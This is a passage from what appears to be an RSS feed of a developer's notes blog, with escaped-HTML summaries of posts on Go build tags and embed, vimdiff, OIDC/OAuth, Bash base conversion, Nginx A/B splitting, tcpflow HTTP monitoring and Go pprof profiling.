&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module as no debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is release.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h6 id="main">main&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build is &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">TestString&lt;/span>, &lt;span style="color:#a6e22e">TestString2&lt;/span>, &lt;span style="color:#a6e22e">GetConfigString&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go build -tags debug .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test debug and it will run every module with debug tag. it is debug.....
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test release and it will run every module as no debug tag. it is release.....
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>A Concise Go embed Tutorial</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220712-go-embed-tutorial/</link><pubDate>Tue, 12 Jul 2022 13:57:03 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220712-go-embed-tutorial/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://colobu.com/2021/01/17/go-embed-tutorial/" target="_blank" rel="noopener">A Concise Go embed Tutorial&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="embedding">Embedding&lt;/h3>
&lt;ul>
&lt;li>For a single file, you can embed it as &lt;code>string&lt;/code> or &lt;code>[]byte&lt;/code>&lt;/li>
&lt;li>For multiple files and directories, you can embed them as a new filesystem (FS)&lt;/li>
&lt;li>Import the &amp;ldquo;embed&amp;rdquo; package even if it is not explicitly used&lt;/li>
&lt;li>The &lt;code>go:embed&lt;/code> directive is used for embedding and must be followed by the target variable name&lt;/li>
&lt;li>Only &lt;code>string&lt;/code>, &lt;code>[]byte&lt;/code>, and &lt;code>embed.FS&lt;/code> are supported. Aliases and named types (e.g., type S string) are not allowed&lt;/li>
&lt;li>Uses relative paths&lt;/li>
&lt;/ul>
&lt;h4 id="stringbyte">string/[]byte&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="embedfs">embed.FS&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt hello2.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed &amp;#34;p/he llo.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed `p/hello-2.txt`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed dir&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#a6e22e">embed&lt;/span>.&lt;span style="color:#a6e22e">FS&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/he llo.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/hello-2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="matching-patterns">Matching patterns&lt;/h5>
&lt;p>go:embed can take just a directory name. All files and directories inside, except those starting with . and _, are embedded. Subdirectories are embedded recursively to form a filesystem for that directory.&lt;/p></description></item><item><title>Using Vim as a Diff Tool</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220707-vim-diff-tool/</link><pubDate>Thu, 07 Jul 2022 17:36:22 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220707-vim-diff-tool/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/vim-diff-tool" target="_blank" rel="noopener">Using Vim as a Diff Tool&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="command">command&lt;/h4>
&lt;p>&lt;code>vim -d file1.txt file2.txt&lt;/code>
or
&lt;code>vimdiff file1.txt file2.txt&lt;/code>&lt;/p>
&lt;ul>
&lt;li>Switching Between Diff Windows: &lt;code>Ctrl-w + Ctrl-w&lt;/code>&lt;/li>
&lt;li>Changing Split Window Orientation
&lt;ul>
&lt;li>&lt;code>ctrl-w + K&lt;/code> key combination to change window orientation from vertical to horizontal.&lt;/li>
&lt;li>&lt;code>ctrl-w + H&lt;/code> shortcut to switch back window orientation to a vertical split.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Jumping Between Changes
&lt;ul>
&lt;li>&lt;code>]c&lt;/code> key combination to go to the next change.&lt;/li>
&lt;li>&lt;code>[c&lt;/code> shortcut to jump to the previous change.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Applying Changes From the Diff Window: &lt;code>:diffget&lt;/code>, &lt;code>:diffput&lt;/code>&lt;/li>
&lt;li>Export Diff to the HTML Web Page: &lt;code>:TOhtml | w ~/diff.html&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>OIDC(OpenID Connect) 简介</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220706-openid-connect/</link><pubDate>Wed, 06 Jul 2022 08:47:49 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220706-openid-connect/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_07_06-openid_connect.md.html" target="_blank" rel="noopener">OIDC(OpenID Connect) 简介&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="authentication-vs-authorization">Authentication vs. authorization&lt;/h3>
&lt;blockquote>
&lt;p>Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验 是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。&lt;/p>&lt;/blockquote>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Authentication&lt;/th>
&lt;th>Authorization&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Determines whether users are who they claim to be&lt;/td>
&lt;td>Determines what users can and cannot access&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)&lt;/td>
&lt;td>Verifies whether access is allowed through policies and rules&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Usually done before authorization&lt;/td>
&lt;td>Usually done after successful authentication&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally, transmits info through an ID Token&lt;/td>
&lt;td>Generally, transmits info through an Access Token&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally governed by the OpenID Connect (OIDC) protocol&lt;/td>
&lt;td>Generally governed by the OAuth 2.0 framework&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Example: Employees in a company are required to authenticate through the network before accessing their company email&lt;/td>
&lt;td>Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="oauth-2">OAuth 2&lt;/h3>
&lt;h4 id="client-credentials-grant">&lt;a href="https://datatracker.ietf.org/doc/html/rfc6749#section-4.4" target="_blank" rel="noopener">Client Credentials Grant&lt;/a>&lt;/h4>
&lt;blockquote>
&lt;p>这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发&lt;/p></description></item><item><title>Bash Bitwise Operators</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220704-bash-bitwise-operators/</link><pubDate>Mon, 04 Jul 2022 15:20:39 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220704-bash-bitwise-operators/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-bitwise-operators" target="_blank" rel="noopener">Bash Bitwise Operators&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="bashs-tools-for-base-conversion">Bash&amp;rsquo;s Tools for Base Conversion&lt;/h3>
&lt;ul>
&lt;li>Bash&amp;rsquo;s arithmetic expansion allows us to write numbers in any base by prefixing the numeric digits of the base followed by the hash symbol.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#66d9ef">$((&lt;/span>&lt;span style="color:#ae81ff">2#1001&lt;/span>&lt;span style="color:#66d9ef">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">9&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>bc allows us to convert effortlessly between bases, using the parameters ibase (for the input base) and obase (for the output base). So, let&amp;rsquo;s convert the decimal number 9 to base 2&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#e6db74">&amp;#34;ibase=10;obase=2;9&amp;#34;&lt;/span> | bc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">1001&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Simple A/B Testing with Nginx split_clients</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220704-nginx-ab-testing/</link><pubDate>Mon, 04 Jul 2022 14:36:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220704-nginx-ab-testing/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://u.sb/nginx-ab-testing/" target="_blank" rel="noopener">Simple A/B Testing with Nginx split_clients&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="ngx_">&lt;a href="https://nginx.org/en/docs/http/ngx_http_split_clients_module.html" target="_blank" rel="noopener">ngx_http_split_clients_module&lt;/a>&lt;/h5>
&lt;h5 id="configure">Configure&lt;/h5>
&lt;blockquote>
&lt;p>For example, suppose we want 20% of users to be redirected to &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>, 30% to &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>, and the rest to &lt;a href="https://example.edu/" target="_blank" rel="noopener">https://example.edu/&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">split_clients&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>${remote_addr}AAA&amp;#34; $variant {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">20%&lt;/span> &lt;span style="color:#e6db74">https://example.com/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">30%&lt;/span> &lt;span style="color:#e6db74">https://example.org/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#e6db74">https://example.edu/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#e6db74">[::]:80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">_&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">302&lt;/span> ${variant};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the example above, the visitor&amp;rsquo;s IP address plus the string AAA is hashed with MurmurHash2 into a number. If the number falls in the first 20%, $variant is &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>. If it falls in the middle 30%, $variant is &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>. Otherwise it is &lt;a href="https://example.edu/" target="_blank" rel="noopener">https://example.edu/&lt;/a>.&lt;/p></description></item><item><title>Monitoring HTTP Requests on a Network Interface in Real Time</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220623-monitoring-http-requests-network-interfaces/</link><pubDate>Thu, 23 Jun 2022 16:48:42 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220623-monitoring-http-requests-network-interfaces/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/monitoring-http-requests-network-interfaces" target="_blank" rel="noopener">Monitoring HTTP Requests on a Network Interface in Real Time&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="tcpflow">tcpflow&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>apt/dnf install tcpflow&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo tcpflow -p -c -i wlp0s20f3 port &lt;span style="color:#ae81ff">80&lt;/span> | grep -oE &lt;span style="color:#e6db74">&amp;#39;(GET|POST) .* HTTP/1.[01]|Host: .*&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reportfilename: ./report.xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tcpflow: listening on wlp0s20f3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /mirrors.txt HTTP/1.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-p&lt;/code> disables promiscuous mode&lt;/li>
&lt;li>&lt;code>-c&lt;/code> means only print the output to the console and don&amp;rsquo;t create files&lt;/li>
&lt;li>&lt;code>-i&lt;/code> specifies the network interface
grep receives the output of tcpflow&lt;/li>
&lt;li>&lt;code>-o&lt;/code> means show only the matching parts of the lines that match the pattern&lt;/li>
&lt;li>&lt;code>-E&lt;/code> means the pattern is an extended regular expression (ERE)&lt;/li>
&lt;/ul>
&lt;h3 id="httpry">httpry&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>https://github.com/jbittel/httpry.git&lt;/code>&lt;/p></description></item><item><title>Go pprof in Practice</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220622-go-ppof-practice/</link><pubDate>Wed, 22 Jun 2022 15:29:02 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20220622-go-ppof-practice/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.wolfogre.com/posts/go-ppof-practice/" target="_blank" rel="noopener">Go pprof in Practice&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/wolfogre/go-pprof-practice" target="_blank" rel="noopener">Bomb program&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// omitted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;net/http/pprof&amp;#34;&lt;/span> &lt;span style="color:#75715e">// auto-register handlers to the HTTP server for profiling via HTTP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// omitted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// omitted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">GOMAXPROCS&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// limit CPU usage to avoid overload&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetMutexProfileFraction&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// enable lock contention profiling&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetBlockProfileRate&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// enable blocking operation profiling&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// start an HTTP server; pprof handlers have already been registered&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// /debug/pprof/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;:6060&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Exit&lt;/span>(&lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// omitted&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>http://localhost:6060/debug/pprof/&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Type&lt;/th>
&lt;th>Description&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>allocs&lt;/td>
&lt;td>Samples of memory allocations&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>blocks&lt;/td>
&lt;td>Samples of blocking operations&lt;/td>
&lt;td>Can open in a browser, but readability is low&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cmdline&lt;/td>
&lt;td>Show program startup command/args&lt;/td>
